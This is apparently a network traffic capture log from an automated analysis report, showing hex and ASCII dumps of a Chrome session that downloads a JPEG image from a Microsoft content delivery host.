2021-11-25 16:28:56 UTC 2750 IN Data Raw: 3d b7 86 08 e7 00 e5 8b 13 91 86 50 40 03 03 b7 35 e2 11 fc 1a f8 a0 fa f6 97 35 ff 00 83 2e ad 22 d5 ae 0d b9 
56 9a 1d aa 40 2d f3 6d 60 48 da 36 8c f5 23 18 af ad ae f5 af 88 3a f4 70 c1 e1 db 8d 3e ef 47 76 04 6a 6b 21 59 bc b2 78 
03 23 04 81 d5 85 79 07 c5 5f d9 a3 c5 5e 3b d6 23 b4 f1 0f c5 3d 7a ee e2 3b 98 6e f4 a8 ed ad 1a 38 ed 94 13 bc 48 c8 
55 77 01 d1 ba e3 3c 55 57 95 3c 65 07 42 bb 4a 2c ef 58 74 e4 a5 14 d9 f2 1f 8c 74 ef 16 e9 1e 36 f1 34 52 a7 fc 23 fa a6 
85 69 28 b6 b3 66 0d 25 c5 c4 51 36 d7 c8 24 6d da 38 27 ae 6b e7 6f 86 5e 1c f1 85 fd bc fa be 9d 61 73 f6 0b a9 d6 e1 
e5 80 a0 32 b6 e2 09 c9 e3 03 e6 c8 3c 60 e7 15 f5 97 ed 1d 0f 87 b4 2b c7 b4 6d 5e f2 7f 18 68 88 05 8d dc 85 65 5b c8 
c1 c0 8d 99 78 76 2a 48 e7 a1 00 1c 64 d7 03 f0 
Data Ascii: =P@55."V@-m`H6#:p>Gvjk!Yx#y_^;#=z;n8HUw<UW<eBJ,Xtt64R#i(f%Q6$m8'ko^as2<`+m^he[xv*Hd

2021-11-25 16:28:56 UTC 2766 IN Data Raw: 2d 5e ec 59 dc 59 ac 13 db 8f 9e d7 7a b6 d7 1e 5f 05 5c e0 fc c3 3c 90 79 e9 5f 37 f8 23 44 d7 75 6f 89 1a 85 
ed c6 97 7d e1 e8 ae a7 28 f6 76 f2 3a 5a ab 05 dd 97 65 c9 2b 93 9c 0c 0c f1 9a fa 36 ca fe ff 00 c3 7e 1f bb 37 37 9a 65 
e4 56 6a a0 5d 46 a6 39 8a 81 80 bb 83 2e 70 31 82 79 c8 ef 51 98 7b 3a 35 5c d4 ef a6 ba dc eb a3 38 d4 a7 cd 38 e8 70 
16 9f 0c 47 85 f5 c3 7d a4 6a 92 a5 a3 5f c6 d6 d0 cc 32 d3 2b 79 8c d0 b3 73 b8 00 b8 19 3c e6 bc 57 4b f1 77 8a 3e 0f fc 
50 7d 46 ef 48 fe c0 d1 96 e7 6f 9f 66 03 6c df c6 15 8e 08 07 b8 00 10 0e 38 af 60 f1 f7 8a 6c 1f c0 f7 9e 27 d2 2d cc fa ab 
df 5a dd 4e b2 5d 95 5f 31 19 90 48 14 10 15 b7 36 48 00 64 1c d7 17 e3 21 3f c4 69 34 b4 bc b3 97 4e d3 27 85 b7 b5 a2 
09 f6 dc 64 8d b1 82 a4 ba 9e 09 53 c9 39 
Data Ascii: -^YYz_\<y_7#Duo}(v:Ze+6~77eVj]F9.p1yQ{:5\88pG}j_2+ys<WKw>P}FHofl8`l'-ZN]_1H6Hd!?i4N'dS9

2021-11-25 16:28:56 UTC 2774 IN Data Raw: 17 c0 5f 0d f8 f2 03 a8 dd 78 8d 74 2d 43 4f 08 26 96 42 d2 dc 5d 46 58 05 8d a3 18 21 80 25 43 00 4e 71 9a 
9a 6d 33 5b 97 c5 93 eb 6f ad f9 76 97 8a a6 18 5a e8 65 18 b6 d3 1e d1 82 01 ce 46 0e 40 18 c9 ab 7e 32 f1 ec 1a c7 c4 
58 8d b7 95 78 c2 4f 22 51 a9 41 10 69 a6 53 f3 2a b3 10 36 9d b9 0c 33 e8 7b 1a ca 92 ad 3c 72 c5 d1 a8 ef 6b bb 69 6d 
36 7e 5d 2d ff 00 00 d6 9d 3a 51 77 be 89 db d4 c5 ba fd 90 74 d6 83 c5 77 1e 12 bc f1 22 5c c9 69 e6 e9 91 5d c7 18 76 
5c 81 e5 48 c4 02 b9 6e ac 08 c8 23 81 cd 1a 97 c0 9f 13 78 63 e1 5f 8b 5a ee 63 fd a8 b6 6b 1b 58 0b 88 e5 5f 2f 04 22 
79 3d 77 1c 60 11 cf 07 af 19 f5 4f 1d 78 d5 ec 35 4d 2b 54 24 68 57 d7 90 c9 14 de 5b 34 99 84 30 39 59 23 f9 14 8c 72 
dc f2 47 5a eb 3c 25 61 a1 f8 aa 3b bd 6b 4f 0d 2d d4 70 
Data Ascii: _xt-CO&B]FX!%CNqm3[ovZeF@~2XxO"QAiS*63{<rkim6~]-:Qwtw"\i]v\Hn#xc_ZckX_/"y=w`Ox5M+T$hW[40
9Y#rGZ<%a;kO-p

2021-11-25 16:28:56 UTC 2790 IN Data Raw: ad e5 63 b7 f0 d7 da 60 92 58 ae ec a5 82 da 29 5a 09 6e 14 b6 c4 75 19 db b8 13 d3 19 fe b5 ea 16 52 f9 33 
5b 47 68 11 e3 b9 dc 10 4c 70 65 c8 1b 80 3c e4 93 db 9f c2 b8 2f 0f f8 1f 52 3a 68 d4 2e 6e 62 d4 ad 41 11 f9 71 97 56 03
a2 c9 b4 00 40 f5 c8 af 40 d3 bc 13 6b 76 b1 4b f6 c8 ad a4 b6 20 a4 96 a5 93 19 c0 cf 3d 18 91 cf 15 e3 4e d7 3d c8 49 
49 68 74 16 9a 44 9a 74 8c f2 5a 34 6c 07 cd b3 04 a9 cf cb 80 3a 0f 6a a5 7d e1 89 75 19 24 96 79 22 88 aa 37 fa 33 44 
59 59 4b 65 49 ed 9c 67 e9 9a d6 87 4c 7b 44 78 e1 0d 22 ed da d7 00 33 39 3e ed d4 f2 7e 82 99 ab 69 f7 52 c7 12 c9 6f 
e7 15 c7 ca 3e 63 cf 7f 63 fc ab 06 cd 94 3b 9c 1e a9 e1 3b bd 0f 37 3a 7d e9 8a 49 d9 5a 25 55 3b 39 fb c3 3d 8f a7 15 b9 
e1 f8 fc 4d f6 88 2d af 00 4b 7f 2c 93 70 b8 91 55 
Data Ascii: c`X)ZnuR3[GhLpe</R:h.nbAqV@@kvK =N=IIhtDtZ4l:j}u$y"73DYYKeIgL{Dx"39>~iRo>cc;;7:}IZ%U;9=M-K,pU

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 2806 IN Data Raw: ce ab 36 ad f6 84 94 bc 61 31 d0 15 c1 27 b6 73 eb 9a ce d4 20 79 d4 08 d4 43 28 c1 2c a4 37 03 fa d6 5c d6 
d5 15 ab dd 9a 93 da c3 2a 31 52 63 c7 cc 71 26 54 9c 71 c7 41 f8 56 1d ce af 73 6e f2 c4 78 4c 02 72 a5 76 e7 ae 3b 55 
15 fe d5 b7 72 8c 56 58 06 48 5e 07 5e 7e b9 ab 2f 6a 92 59 a4 9b c9 2a 48 39 c6 41 ed cd 64 e4 fa 68 59 58 cf 21 72 e8 
30 06 70 c3 00 9c 8f 7f d4 d5 79 6e 3e d2 db 26 2c 8e dc 0d aa 03 11 ec 7d 69 de 51 92 12 b2 ee 28 4e 33 d0 e7 d0 7a 9a 
94 c7 1c 52 4a b2 66 e1 71 f2 b3 20 18 fc 32 7f 9d 65 7b 95 60 b3 b4 49 d3 12 4a 49 18 da ac 31 8c 55 82 be 54 83 66 ed 
84 8e 06 3a 91 eb d0 66 a5 d3 74 e3 7e c8 63 cc 51 29 da d2 b6 4a e3 d0 01 f7 8f b5 75 9a 7f c3 d9 4b 45 26 a7 a8 da 5a 
68 e5 f2 ad 23 ec 79 87 b2 8e 47 1e b5 d5 4b 0f 56 ab 4e 
Data Ascii: 6a1's yC(,7\*1Rcq&TqAVsnxLrv;UrVXH^^~/jY*H9AdhYX!r0pyn>&,}iQ(N3zRJfq 2e{`IJI1UTf:ft~cQ)J
uKE&Zh#yGKVN

2021-11-25 16:28:56 UTC 2813 IN Data Raw: df 10 b5 98 15 cf da 88 97 71 c3 30 c9 c1 e3 83 db d7 07 8a 9f ad 41 1d 14 f0 15 1e c8 f5 78 a2 b2 d2 95 a4 bb 
92 4b 70 48 52 64 da 01 e7 a7 a5 5c 9e f7 ec ee ea f6 d1 c7 06 03 24 ac 41 56 1d 88 c7 5e 3b 71 5e 31 ab f8 9e ef 50 b7 
b4 33 de 99 d7 76 5c 4a 06 48 1d 32 a7 8c 7a f1 54 f5 8f 1a eb 7a 85 c0 47 bf 64 b6 0a 02 47 10 0a ab 81 c6 d0 3a 0a 97 
8c a7 d0 e8 fa 8d 54 b6 3d 2a fe 64 bc 92 79 45 ed ac f2 c0 4b ac 51 5c 0f 2c 37 f0 a3 72 0f 3c 1e 9c 1e f5 4b 54 f1 0d bc 
7e 5a 4b 3a 40 9b 7e 79 23 e4 a3 93 9e 0f 4c 76 1c 57 97 d9 f8 9a 5b 5b c2 e6 da 34 77 19 91 98 1f 9f 19 fb dc 9c d6 cf 87
75 bd 01 e3 b7 46 49 2c ef 9c 99 3c bc 13 09 20 63 82 72 54 11 d7 9c 54 ac 42 93 d0 52 c1 ca 3a b3 a3 bd 96 2d 3f 4b b2 
bb 97 57 0e 93 b9 0a 55 43 09 73 c8 c8 eb 91 eb 
Data Ascii: q0AxKpHRd\$AV^;q^1P3v\JH2zTzGdG:T=*dyEKQ\,7r<KT~ZK:@~y#LvW[[4wuFI,< crTTBR:-?KWUCs

2021-11-25 16:28:56 UTC 2829 IN Data Raw: c6 70 4f d2 ac 58 cc ce de 53 8e 64 1b 43 72 5b 68 19 1c 0f a7 1f ce b4 f6 6f a1 cf 3c 44 7b 88 fa b4 f3 cd 1a 18 
f6 40 c4 e7 6f f1 0c 63 83 f5 eb ef 55 ee 75 29 56 de 20 f6 c4 a1 70 b1 c5 8c 1f 7c 9f c3 35 6e 68 21 96 e1 e2 59 47 93 c8 
6d fc 10 3d 47 63 f4 ac dd 45 92 1d 42 28 6e e4 32 16 01 77 42 3e e8 c8 0a 4f 3d c1 e7 bd 76 d3 a0 e6 79 15 b1 f1 a7 b1 
74 5a 3b b3 bf 97 18 68 f3 b7 27 96 07 a8 db c0 e0 e3 ae 4d 3c 69 b2 ea 72 38 9d 76 36 47 ef 08 f9 78 e8 aa bc 1c 8c 72 
05 2c 57 36 bf 6e df 39 e1 40 f2 d8 c9 81 f7 b8 27 1c 00 07 4f 5c 54 b0 eb da 64 da b2 3b dc 4b 6d 0a e6 40 aa 08 0d 90 
71 81 82 79 3f 8e 78 e2 bb e9 e1 67 7d 15 cf 97 c6 e7 74 68 ab 4a 69 7a 8b a6 bf d9 ed ca 4c 62 75 c1 05 8a 92 4a e7 81 
e8 bd 3d 2a c4 b2 45 e5 db cf 08 53 e6 06 dd 83 
Data Ascii: pOXSdCr[ho<D{@ocUu)V p|5nh!YGm=GcEB(n2wB>O=vytZ;h'M<ir8v6Gxr,W6n9@'O\Td;Km@qy?xg}thJizLb
uJ=*ES

2021-11-25 16:28:56 UTC 2845 IN Data Raw: 64 e3 d2 a9 dd 78 56 0d 71 d5 5e 09 60 44 7c f9 b1 b6 d2 78 e9 eb cd 4a d3 53 bf eb 9c d0 54 dc 9c 62 bd 37 
39 a9 f4 8b 6b 8b f6 82 1b b9 43 a0 dc 73 18 39 3e 99 e2 ba 1d 15 a5 09 e5 4b 11 0a bc 02 71 ce 3b d4 ba be 83 3e 9b 62 
bf d9 48 23 2a c0 12 c7 24 8f 7c f2 6b 26 e1 fc 4b 0a 82 20 85 d4 63 92 36 9f a0 cf 5a 71 d1 ec 5b a9 f5 a8 24 a4 ad e6 ec 
cd 5d 66 f2 68 a1 ca c1 e6 3f 00 44 00 e7 f0 a6 e8 9e 1d b6 93 17 93 da 08 65 2c 48 42 80 1c fe 14 9f f0 8f 89 7c 8b fb 97 
95 ee 31 81 18 3f 28 3f 4a 92 ce 3d 46 d6 62 8d 22 c9 16 32 33 9c d7 42 bb 77 68 e4 e6 4a 9b 85 29 59 f5 ff 00 22 de b4 
ef 6d 6f b2 d6 35 32 03 d3 da b1 23 b4 ba 11 b4 86 1f de b7 61 d0 1a dc b7 59 64 25 a6 5c 63 b9 ef 4c b8 d4 e0 59 3c b6 
90 06 ec b9 c5 53 ee 65 4e 72 82 e4 8a b9 c6 dc 5b 
Data Ascii: dxVq^`D|xJSTb79kCs9>Kq;>bH#*$|k&K c6Zq[$]fh?De,HB|1?(?J=Fb"23BwhJ)Y"mo52#aYd%\cLY<SeNr[

2021-11-25 16:28:56 UTC 2853 IN Data Raw: db bd 72 76 6e 5a c6 27 1c 0f bb 82 39 1e 9c d6 ab 6a 53 58 e9 62 28 a3 3e 61 3c 90 7a 83 fc 8d 6d 17 d5 9c 
75 b0 f6 7c b4 f4 6f 43 66 df 4f b6 5b b9 43 a1 89 07 de 2c 17 90 3d 8d 59 65 86 4c 8b 1c 14 1f 31 7f e2 fa 64 71 fa 57 0f 6f
e2 45 59 19 e6 98 dd 8e 9e 5f 42 3e bf 4a b5 a8 78 8a de e2 11 e5 06 b5 60 bc 46 1b 00 fd 71 c7 35 a4 67 1e 52 65 82 ac 
e6 af 7f d3 fc c9 f5 3d 60 cb 78 61 52 ed b0 f1 8f 43 eb 59 f7 77 92 c9 b5 86 63 2b d3 6f 07 df 38 aa 96 3a c2 3b 7e f1 bc 
bd a4 63 60 07 f0 39 a8 b5 af 14 2d cc 6a b1 8c ba f0 72 b8 23 9f 5e f5 97 32 b5 db 3d 5a 78 69 46 4a 11 81 bf 65 79 19 
04 cb 99 24 c6 08 03 93 f8 d4 b3 4b 04 2a 25 4f dd ae 09 da 3e f6 7f c4 d7 0d 63 ab 5e 89 36 2a 2e 49 04 76 1c d6 cd de 
aa 6d ed d8 cf 82 71 c9 1f cc 55 c6 77 41 53 07 
Data Ascii: rvnZ'9jSXb(>a<zmu|oCfO[C,=YeL1dqWoEY_B>Jx`Fq5gRe=`xaRCYwc+o8:;~c`9-jr#^2=ZxiFJey$K*%O>c^
6*.IvmqUwAS

2021-11-25 16:28:56 UTC 2869 IN Data Raw: 82 10 f1 ec 48 fc 30 0d 67 4b 34 b3 4d 04 51 24 61 64 27 2d 31 23 1c 7d d3 80 7f 03 50 2b 45 73 1c 6b e5 9f 
29 65 67 8c 89 c7 ca 3d 00 e3 8f ce 9a f6 c5 a6 79 6e e4 9a 28 36 b7 96 b8 da 5b 07 20 ab 0e fe d5 9c a3 cc ee 8d 23 51 
d9 9a 6e da 97 d8 77 8b 7c ed 19 31 f1 93 cf 72 39 38 ab 10 c8 df bc 8a 09 04 6d 80 42 80 0e 73 ef 8f eb 55 f4 7b c4 f2 50 
89 64 9e 36 51 b5 b3 ce 7b 1e 41 fc aa 29 9c db 4d 88 cb 09 26 5c b7 da 19 b6 2e 0f 6f 4c fa 55 fb 3d a5 72 3d a6 96 b1 
ae d0 fd 9e 30 5c 36 76 81 e6 64 02 df 5a c6 d4 a2 9a 5b a8 a2 82 78 56 ec e0 e2 4f ee fa 81 d3 8a 92 2d 58 f9 7e 52 3f 1f 
dd 3f 30 39 f4 3d a8 74 7b db 98 62 77 8a 06 c8 2a 41 07 38 fe 5e 95 a5 94 95 93 31 e6 b1 3e d9 e3 8c 2d cf ce ca 08 12 
44 40 c1 fa 0a ca 86 da 38 2e 65 9d a4 37 1c 10 44 
Data Ascii: H0gK4MQ$ad'-1#}P+Esk)eg=yn(6[ #Qnw|1r98mBsU{Pd6Q{A)M&\.oLU=r=0\6vdZ[xVO-X~R??09=t{bw*A8^1>-
D@8.e7D

2021-11-25 16:28:56 UTC 2885 IN Data Raw: 7a 8e 03 12 41 c9 f5 1d 2b e6 ab fd 36 7b 4b 37 7b 48 c4 a9 bc f9 8b 1c c3 23 8e 09 3d c7 b5 63 4d a7 44 e8 
47 d9 e6 b9 ba eb fb b6 60 89 9c 10 48 23 f4 06 aa 96 32 ac b5 92 26 54 28 a5 a3 3e b4 d2 3e 3f 68 1e 1d b0 4f 22 de de 
c2 e6 10 0b 2a ed 61 3e 7a 0d c0 92 7b ff 00 85 50 bd fd ab a7 56 92 5d 32 76 f2 24 2c c9 1c 90 29 db ec 72 79 3f 90 af 
92 65 b0 bd 96 47 6b 88 a3 87 69 3f 29 94 26 e0 3b 10 79 cf d2 b5 2c ad ae 6f 6c d5 02 47 18 1c ee 56 0f 90 7a e4 0e 98 
e8 6b a6 78 8a 89 59 68 63 ec 69 75 67 d5 73 7c 4e d3 7c 5f 6f 1c 92 eb 62 ee f5 d0 8f ec f9 9f fd 54 98 24 b7 50 a3 1d 78 
3c f4 af 3e d5 3c 7f 7d e1 5b e8 b5 14 d7 e1 b8 61 93 1d 9c 31 af c9 ec cb d0 8f 51 d4 71 d6 bc 6e 6d 1a 1f b3 11 1c f2 cb 
72 a0 37 96 57 ca 4c 77 c3 67 39 03 f3 ab 33 69 d3 
Data Ascii: zA+6{K7{H#=cMDG`H#2&T(>>?hO"*a>z{PV]2v$,)ry?eGki?)&;y,olGVzkxYhciugs|N|_obT$Px<><}[a1Qqn
mr7WLwg93i

2021-11-25 16:28:56 UTC 2893 IN Data Raw: 3a f3 cd 11 c3 c6 da 21 3c ce a3 56 e6 bf cc d1 9a c2 ce 1b 68 1a c2 48 ef 1c 7c de 54 d1 92 a4 b7 05 30 47 23 
df 9c 57 47 7d 34 5a 15 9c 12 ea 9a 5c 56 f7 12 28 20 46 c1 15 58 1e ec 33 bb 23 ea 07 4a e7 56 f2 fc a9 4b 59 25 f2 d5 
b2 3e 52 70 4f b0 ff 00 1a b9 6b a7 cd 14 c9 72 7c c2 c0 1c b1 ea ad fd f0 0f a5 39 61 d5 44 93 32 a3 9b cf 0c e4 dc b7 e9 
bd be fb 9b 13 78 92 ce 58 7c bd 8b 1c a7 26 46 86 66 2a 40 e0 8d c3 83 f9 56 7a ea b2 c1 a8 45 75 31 8e e2 3f 28 a0 31 
ed dd b4 f4 cf 00 e7 eb 59 37 58 d3 b5 08 df 64 77 76 f2 12 ed 30 46 ea 7a f1 da 92 3d 3d f5 49 11 fc e5 11 9e 86 33 c0 1e 
85 4f 34 43 09 4e 17 56 33 af 9b 62 6a c9 54 94 ec 96 a7 5b a4 78 92 46 53 14 6f 1c d1 80 37 a5 f3 ec 2c a3 a6 07 a8 f7 
3c d3 75 0b e7 b5 b8 4b f3 6f 14 70 e7 86 b6 c4 
Data Ascii: :!<VhH|T0G#WG}4Z\V( FX3#JVKY%>RpOkr|9aD2xX|&Ff*@VzEu1?(1Y7Xdwv0Fz==I3O4CNV3bjT[xFSo7,<uK
op

2021-11-25 16:28:56 UTC 2909 IN Data Raw: f1 ff 00 32 87 87 e1 6f b3 c6 cd 04 af 0b 33 10 24 01 77 0e 80 60 60 9c 7a d5 c6 b1 fb 3c 77 8f 2d 8c 57 02 75 
1b 55 c8 50 aa 3a 00 39 e6 a2 8a 6b db dd 7e 58 1e ea 3b df b3 c4 30 d1 44 51 06 7a e0 ed c1 c7 63 9e 6b 4e 4b 11 1a bc 
86 ea 48 ad 22 ff 00 96 4c f9 3b 87 39 ce 39 a5 6f 23 9e b5 47 19 dd bd f5 eb ea bb 33 85 b7 61 75 79 21 bc 82 6b 5b 48 
46 70 06 c0 eb d3 01 8f 5c 7b 57 57 f0 f7 c3 51 a5 bc d7 52 4f 6d 2a c6 b2 1f 30 cc ca 59 7f 87 e5 ce 09 f5 35 56 41 a3 4b 
ac da 48 8b 39 76 6c b5 bc 32 16 19 ee ca 71 81 eb 5b 1a 85 dd ad ad c5 e1 85 a5 b5 80 f0 b1 4d 6e a7 27 3f c4 57 8c 1f 
5a a8 c7 a9 be 2a bc ea 43 d9 53 4e 3c cb fe 07 ae a6 34 1a 7c 07 54 95 16 59 c4 24 19 5e 78 d4 ba 2b 7f 77 00 e0 8f a5 
64 e9 e0 5c 8f b1 ab 6e 83 cc 21 4b 20 53 9e bd 4f 
Data Ascii: 2o3$w``z<w-WuUP:9k~X;0DQzckNKH"L;99o#G3auy!k[HFp\{WWQROm*0Y5VAKH9vl2q[Mn'?WZ*C
SN<4|TY$^x+wd\n!K SO

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 2925 IN Data Raw: f5 d4 91 69 b7 4f 20 54 8e 5d cd d1 36 11 91 ed 9a 47 8d 61 8c 10 de 64 87 27 60 ce 54 e7 bf 6a 76 6f a1 51 
b2 76 4e e3 55 55 a4 11 8c 0d fd 64 27 85 07 d6 92 f2 18 ed 67 92 35 99 6e b6 9c 2c 91 03 b4 f1 d7 90 0f e6 29 08 68 d0 
17 21 4b 72 30 41 fc ea 26 8d c3 05 65 23 77 23 23 9f ce a4 d6 3b de e4 6d 71 2b 46 23 de 4c 59 27 67 60 7d 71 eb 4c 10 
95 4d c4 8c 93 8d b9 39 ff 00 f5 55 85 8e 28 6e 47 9d 27 96 a3 a9 51 b8 8f a6 29 9a 94 96 f2 dc 33 5b 2b 47 19 3c 2b 13 
c7 ea 4f 3f 5a 4d 69 76 6b 17 ad 92 d0 8d 24 58 e2 60 63 1b 9b fe 5a 12 72 3e 98 38 fc ea a4 80 b4 84 1f bb d8 d5 95 85 
79 2f 20 53 b7 3b 40 24 93 e9 55 cc 98 fb 9c 60 74 03 3c d4 3e 97 36 8e fa 0d 48 93 76 18 ed 5c 83 b8 fa 7d 2b 4f 54 3a 
7d aa c2 96 53 4b 74 ac a0 b9 91 42 61 bb 85 1c f1 ef 55 
Data Ascii: iO T]6Gad'`TjvoQvNUUd'g5n,)h!Kr0A&e#w##;mq+F#LY'g`}qLM9U(nG'Q)3[+G<+O?ZMivk$X`cZr>8y/ S;
@$U`t<>6Hv\}+OT:}SKtBaU

2021-11-25 16:28:56 UTC 2933 IN Data Raw: 8b 9d c0 63 07 1c 60 55 fb 5b e3 a6 5c cd b6 1d 8f 23 7c ce a1 b9 c7 63 8f f0 a8 75 a9 23 86 6f b7 c9 6f 1c 2d 
d1 77 47 ce d2 3d 46 0d 12 30 85 d4 dc 6d a4 b5 5d ee 5d d1 ad 24 9a c2 ee d9 e3 f3 00 c8 55 c8 0a 7f 3e 86 b9 cd 4b ed 
7a 7d d4 2e 90 49 09 8d b9 ff 00 45 52 00 ef c8 eb 5b 5a 46 af 23 59 cd 06 9f 18 93 ce c0 f3 07 cc 17 bf 19 00 f3 4e be d3 
6e 2f 34 b9 52 e3 cd 8e e5 4e 33 14 a0 36 3a f2 07 6f 6a 4e 37 b1 54 e4 e9 56 7e d2 d6 6f 6e bd af 62 1b eb c9 67 fb 2d fc 
49 35 c6 f2 10 47 21 0b b1 bd 47 1d 0d 53 ba d4 b5 49 5a 4b 79 a4 30 cc ad 81 e6 4b 95 04 fb 83 51 43 67 2b 43 6e 23 90 
32 a3 00 d1 ba 6d 3d 71 90 7b 55 b7 d3 df 4d 99 a1 ba 48 c3 c8 77 c6 d1 12 48 fc 49 e4 d1 66 f6 36 4a 9c 34 d1 db 6e e3 
7c 41 6b fd 9d a7 89 4b 7d aa fe 45 02 36 5e 98 
Data Ascii: c`U[\#|cu#oo-wG=F0m]]$U>Kz}.IER[ZF#YNn/4RN36:ojN7TV~onbg-I5G!GSIZKy0KQCg+Cn#2m=q{UMHwHIf
6J4n|AkK}E6^

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

66 192.168.2.4 49874 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:56 UTC 2749 OUT GET /cms/api/am/imageFileData/RWzDhe?ver=237d HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:28:56 UTC 2937 IN HTTP/1.1 200 OK
Last-Modified: Mon, 22 Nov 2021 07:40:07 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 9cd2d969-2c27-467f-a9ba-b3ee45e7ae0e
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWzDhe?ver=237d
X-Source-Length: 651965
Content-Length: 651965
Cache-Control: public, max-age=141073
Expires: Sat, 27 Nov 2021 07:40:09 GMT
Date: Thu, 25 Nov 2021 16:28:56 GMT
Connection: close

2021-11-25 16:28:56 UTC 2937 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2021-11-25 16:28:56 UTC 2953 IN Data Raw: 8c 6d 63 96 09 4b 42 e4 2d ba 3f 31 a3 ad 6b 79 3f 77 fe dd 65 ab 79 55 22 cc df c3 5e 3c d7 33 3d 4a 49 a6 4c 
cd ba 4d d5 5e 4b cf 2a 4f 96 86 f9 be ed 36 3b 5d bf bc 93 ee 55 46 2a d7 65 55 8c ba 6c 4d 6f 23 7d ea b9 1d f7 95 1b ad 
67 c7 36 e7 da b5 b5 6f 67 07 97 1e ea c6 ad a3 ba 34 a5 17 b0 59 c2 cd fb c9 aa f3 46 b4 6d 5f f9 e9 55 6f 9b ca 83 e5 ae
0e 67 39 23 bf 95 42 04 91 dd 6e f9 56 ad 2e dd 9f 35 72 eb 79 b6 4f f6 eb 4a 1b cd d1 ed 5a da a5 16 99 cd 4e ba b9 5f 
50 65 fb 54 8c bf 72 a9 c9 71 ba 9b 70 ca b2 54 7e 72 ac 7f 2f cf 5d f1 8d 92 38 a7 53 de dc 8e f1 77 7c de 5d 51 59 1b ee 
d6 a4 d2 7e e2 4d df 25 67 ac 3f eb 24 ae aa 6f b9 94 f7 2b b2 af 99 5a 11 c9 12 c7 b5 7e fd 65 cd bb cc a9 a3 9a b6 94 39
91 cb 0d 1b b9 79 9a ab c8 db aa 3f 3a a1 
Data Ascii: mcKB-?1ky?weyU"^<3=JILM^K*O6;]UF*eUlMo#}g6og4YFm_Uog9#BnV.5ryOJZN_PeTrqpT~r/]8Sw|]QY~M%g
?$o+Z~e9y?:

2021-11-25 16:28:56 UTC 2969 IN Data Raw: fd ba b5 25 c2 d9 c1 26 ef f5 ac 9f f2 cf fa d3 a9 07 53 40 95 38 c5 39 33 79 ad 60 bc 8e 48 e1 93 7f d9 fe 47 f3 
3f 83 6d 65 ad 9b 5b cf b6 69 23 f2 9b f7 d0 c8 9f 73 e9 5c df 87 f5 85 b5 d4 a7 5f 32 7d ff 00 71 e3 79 3e 47 f7 ae 92 4b 
3d d6 bb 61 8f ef 7d cf 2f fb b4 fd 94 e8 6c f4 39 a9 c6 6d f3 fd 92 c6 a9 f6 96 b5 92 16 92 48 3e f7 f0 7f 17 6c d6 0d e6 93 
79 7b 27 93 34 9b 22 95 fe 79 3e 57 f9 5b d8 d5 ab ad 72 e6 df c8 b5 69 3e 75 dd be 3f ef d5 8d 3f c4 5b 67 82 de f2 d2 38 
1d 9f e7 93 65 38 a9 c1 27 6b b2 13 49 37 cb a9 73 c3 7a 7b 69 b6 b1 db c9 fe 94 96 e8 c8 fe 62 7d ff 00 4e 95 b0 d6 2d f7
96 09 37 ff 00 05 5c b7 d7 b4 f5 92 3b 7f 3e 3d ec 9b fc b9 29 d2 49 e6 c9 1a db f9 69 17 fe 81 5e 4d 5a d3 73 e6 b5 8e 55 
29 3d d6 85 3d de 57 ee 5a 48 f7 
Data Ascii: %&S@893y`HG?me[i#s\_2}qy>GK=a}/l9mH>ly{'4"y>W[ri>u??[g8e8'kI7sz{ib}N-7\;>=)Ii^MZsU)==WZH

2021-11-25 16:28:56 UTC 2971 IN Data Raw: e4 8e ee 4f 97 ee 47 54 ee 23 fb 3c 9b 9a 4f 9d ab aa 9d 28 5a c7 3c ec b5 b9 d2 5e 6b cc b1 fc bf 3c 5f f4 d3 
ee 3d 67 db eb 4c de 62 c9 04 68 f5 87 35 e7 9b fb 95 fb f5 ad 6a b6 d6 70 79 8d fb fb 85 4f 9e 9f b3 84 16 9b 97 4e 2d 45 
ae a3 af b5 4b 9b cf 96 38 f6 22 d5 78 56 56 fd da f9 8e ea ff 00 fe aa 2e 3c 4d 1c 53 ed 8e d3 65 3a 1f 12 4b 2c 9b 7e e4 
5f c7 1c 7f c6 d5 57 76 f8 47 7e 5b 5e 24 72 43 3b 79 8b 71 1c 88 eb f2 7d f5 a6 b5 ac f2 c9 b7 cb 93 7a be cf 32 4a 2e b5 
a9 64 8f cb 87 e4 55 f9 13 e4 aa eb ab 5e 34 6f fb cd 9f 3f cf fe dd 35 29 5b a1 a3 52 be 88 b5 fd 9b 2c b3 c7 1c 3f 7d be fc 
92 7f 4a bd 0f 86 62 b8 f3 e3 b8 f3 3e 57 d9 f7 3e 4d b5 ce c9 ab 4f 6b 26 d5 93 7a 44 fb 29 bf f0 91 5f 5c 47 24 7e 7c 9b e
